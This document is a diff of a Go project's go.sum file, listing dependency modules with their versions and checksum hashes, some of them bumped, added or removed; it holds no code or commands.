||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777 h1:nEnjcdmVQjhtQm0RFJxRINMw7lsQ8gidtbpsidiDqpY=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.6 h1:KobeeqR2dpfKSG1prS3Y6+FbffMmGC6xmAobRXA9QEQ=
|
||||
github.com/chromedp/chromedp v0.8.6/go.mod h1:nBYHoD6YSNzrr82cIeuOzhw1Jo/s2o0QQ+ifTeoCZ+c=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -90,7 +90,6 @@ github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -104,9 +103,6 @@ github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
@@ -119,7 +115,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
@@ -127,8 +122,8 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
@@ -154,12 +149,11 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -177,13 +171,14 @@ github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHh
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
@@ -231,8 +226,10 @@ github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0f
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2 h1:DcJNSNIb1E17Tvy9w9S7z+sExvWvvjNbFdyr6C+FUL0=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -286,14 +283,15 @@ github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
|
||||
github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
@@ -309,18 +307,6 @@ github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4Ha
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
|
||||
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
|
||||
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
|
||||
github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||
github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
|
||||
github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
@@ -346,8 +332,8 @@ github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OK
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8 h1:a4s3hXogo5mE2PfdfJIonDbstO/P+9JszdfhAHSzD9Y=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8/go.mod h1:s648gW4IywYzUfE/KjXxUsqrqx/T2xO5VqOXxONeRfI=
|
||||
github.com/shirou/gopsutil/v3 v3.22.10 h1:4KMHdfBRYXGF9skjDWiL4RA2N+E8dRdodU/bOZpPoVg=
|
||||
github.com/shirou/gopsutil/v3 v3.22.10/go.mod h1:QNza6r4YQoydyCfo6rH0blGfKahgibh4dQmV5xdFkQk=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -356,14 +342,15 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
@@ -373,14 +360,19 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
|
||||
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
|
||||
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
|
||||
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
@@ -408,6 +400,7 @@ golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8U
|
||||
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
@@ -427,11 +420,10 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
